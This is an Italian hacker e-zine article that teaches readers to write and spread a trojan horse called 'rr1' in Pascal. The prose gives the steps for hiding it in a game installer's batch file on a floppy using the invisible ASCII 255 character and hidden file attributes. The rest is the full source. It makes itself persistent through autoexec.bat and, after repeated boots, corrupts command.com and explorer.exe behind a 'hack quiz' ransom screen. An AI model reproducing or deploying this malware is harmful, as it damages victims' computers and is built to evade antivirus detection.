2) Primi passi sulla costruzione di un Virus ( by RaggedRobin )

Questa parte della rivista e' dedicata a chi vuole sapere qualcosa di piu' sul mondo dei virus. Per chi di virus ne sa poco bisogna precisare che ne esistono di tre famiglie principali: quelli che infettano il settore di boot, quelli che
si insediano in memoria e in fine i cavalli di troia. In questo articolo vi parlero' di quest'ultimi. I cavalli di troia sono programmi che una volta lanciati danneggiano in qualche modo il computer, spesso formattano l'hard disk o cancellano files alla rinfusa. Per creare un cavallo di troia non è necessario essere dei programmatori
eccezionali e se si ha un po' di fantasia non e' necessario conoscere l'assembler. Il virus rr1 e' nella fattispecie un trojan horse scritto in pascal, un linguaggio facile e che spesso viene insegnato a scuola; rr1 e' un t.h. ma
a differenza di molti altri non agisce subito ma aspetta che si riavvii il computer 5 volte. Il modo col quale renderlo operativo e' semplice: per prima cosa e' necessario modificare un file bat in un disketto (magari quello che installa un gioco), dal PROMPT DI DOS bisogna scrivere : EDIT seguito da uno spazio e dal nome del file bat, andare a capo, tenere premuto il tasto alt e scrivere dal tastierino numerico 255 quindi rilasciare alt, in questo modo avete inserito nel file bat il carattere ascii 255 che è invisibile. Quando compilate rr1 dovete rinominare, sempre da dos, il file con il carattere 255 dovete cioe' scrivere ren rr1.exe (premete alt scrivete 255 da tastierino e lasciate alt).exe, cambiate gli attributi del file nascondendolo (con il comando dos "attrib +h nomefile"  o con win, come preferite) e copiatelo in a. Una volta che verra' lanciato il file bat che avete modificato il virus verra' copiato in c:\windows, alla fine dell'autoexec.bat verrà aggiunto il carattere 255 in modo che ogni volta che si avvia il computer il file venga
caricato in memoria e il contatore che si chiama group.txt e che si trova in c:\windows venga incrementato di uno.
Quando il contatore arriva a cinque il primo carattere del command.com e dell'explorer.exe vengono incrementati di due, vengono quindi fatte tre domande e se si risponde bene vengono rimessi a posto i files. A causa delle sue caratteristiche questo virus viene difficilmente scovato da programmi anti-vir. Semplice vero? Nel prossimo articolo vi faro' vedere come si puo' complicare la vita agli utenti di win95.

program rr1;
uses DOS,CRT;
type conta=file of integer;
type autoexec=file of char;
var i,copy,risp2,invio:char;
    auto,zone,gruppo,command,explorer:autoexec;
    volte:conta;
    harddisk:string[16];
    dischetto:string[5];
    j,contatore:integer;
    risp:string[10];
procedure fallito;
begin
     write('SPIACENTE AMICO QUESTA VOLTA TI E'' ANDATA MALE !!!');
     DELAY(2000);
     HALT;
END;
begin
     invio:=chr(13);
     j:=0;
     i:=chr(255);                     {il carattere ASCII 255 e' invisibile}
     assign(auto,'c:\autoexec.bat');
     reset (auto);
     assign(volte,'c:\windows\group.txt');
     repeat
        read(auto,copy);
        if copy=i then j:=1;
     until (eof(auto)) or (j=1);         {guardo se autoexec.bat e' infetto}
     if j<> 1 then begin                            {se non lo e'}
                        seek(auto,filesize(auto));  {aggiungo un invio}
                        write(auto,invio);         {e il carattere 255}
                        invio:=char(10);
                        write(auto,invio);
                        write (auto,i);             {nell' autoexec.bat}
                        close (auto);
                        harddisk:='c:\windows\.exe'; {copio il virus su hd}
                        dischetto:='.exe';
                        insert(i,harddisk,12);
                        insert(i,dischetto,1);
                        assign(zone,dischetto);
                        assign(gruppo,harddisk);
                        reset(zone);
                        rewrite(gruppo);
                        repeat
                              read(zone,copy);
                              write(gruppo,copy);
                        until eof(zone);
                        close (zone);
                        close(gruppo);
                        rewrite(volte);             {creo il contatore}
                        write(volte,j);
                        close(volte);
                        SetFAttr(gruppo,Hidden);    {nascondo il virus}
                     end;
    reset (volte);
    read(volte,contatore);
    reset(volte);
    contatore:=contatore+1;
    write(volte,contatore);
    close(volte);
    reset(volte);
    read(volte,contatore);
    if contatore=4 then begin                {contatore=4=crack}
            assign(command,'c:\command.com');
            assign(explorer,'c:\windows\explorer.exe');
            reset(command);
            reset(explorer);
            read(explorer,copy);
            copy:=char(ord(copy)+2);                {aggiungo 2 al primo }
            reset(explorer);
            write(explorer,copy);                   {carattere di        }
            read(command,copy);                     {command.com ed      }
            copy:=char(ord(copy)+2);                {explorer.exe        }
            reset (command);
            write (command,copy);
            close (command);
            close (explorer);
          {QUESTO QUA' SOTTO E' L'AVVISO}

 CLRSCR;
 WRITELN('                   SPIACENTE AMICO, TI SEI BECCATO UN VIRUS.');
 WRITELN('                     FOSSI IN TE NON SPEGNEREI IL COMPUTER.');
 GOTOXY(1,5);
 WRITELN('SE RISPONDI ALLE MIE DOMANDE CANCELLERO'' IL VIRUS');
 WRITELN('SE NON LO FARAI...PEGGIO PER TE');
 WRITE('PREMI UN TASTO PER INCOMINCIARE E RICORDATI CHE NON PUOI ');
 WRITELN('SBAGLIARE');
 DELAY(2500);                                 {ritarda qualche secondo  }
 READKEY;                                     {per evitare che uno prema}
 CLRSCR;                                      {un tasto per sbaglio     }
          {QUESTO INVECE E' L'HACK QUIZ}
 REPEAT
      WRITELN('Qual'' e' il nome di Mitnick?');
      READLN(RISP);
      WRITELN('NE SEI PROPRIO SICURO?(S/N)');
      READLN(RISP2);
 UNTIL (RISP2='S') OR (RISP2='s');
 IF (RISP='Kevin') OR (risp='KEVIN') OR (RISP='kevin')
      THEN BEGIN WRITELN('PRIMA RISPOSTA GIUSTA!');
                 CLRSCR;
                 DELAY(1500);
           END
 ELSE FALLITO;
WRITELN('');
REPEAT
      WRITELN('Qual'' e' il sistema operativo piu' usato nelle reti?');
      READLN(RISP);
      WRITELN('NE SEI PROPRIO SICURO?(S/N)');
      READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
 IF (RISP='Unix') OR (risp='UNIX') OR (RISP='unix')
      THEN BEGIN WRITELN('HAI AZZECCATO ANCHE LA SECONDA, COMPLIMENTI.');
                 CLRSCR;
                 DELAY(1500);
           END
 ELSE FALLITO;
WRITELN('');
REPEAT
      WRITELN('IL SISTEMA OPERATIVO DA LA PRECEDENZA AI COM O AGLI EXE?');
      READLN(RISP);
      WRITELN('NE SEI PROPRIO SICURO?(S/N)');
      READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
 IF (RISP='COM') OR (risp='Com') OR (RISP='com')
  THEN BEGIN WRITELN('E ANCHE LA TERZA E'' GIUSTA, ORA TOGLIERO'' IL VIRUS');
              CLRSCR;
              DELAY(1500);
        END
 ELSE FALLITO;

                         {CON QUESTO METTO TUTTO A POSTO}
 reset(command);
 reset(explorer);
 read(explorer,copy);
 copy:=char(ord(copy)-2);                {tolgo 2 al primo    }
 reset(explorer);                        {carattere di        }
 write(explorer,copy);                   {command.com ed      }
 read(command,copy);                     {explorer.exe        }
 copy:=char(ord(copy)-2);
 reset (command);
 write (command,copy);
 close (command);
 close (explorer);
                       end;
end.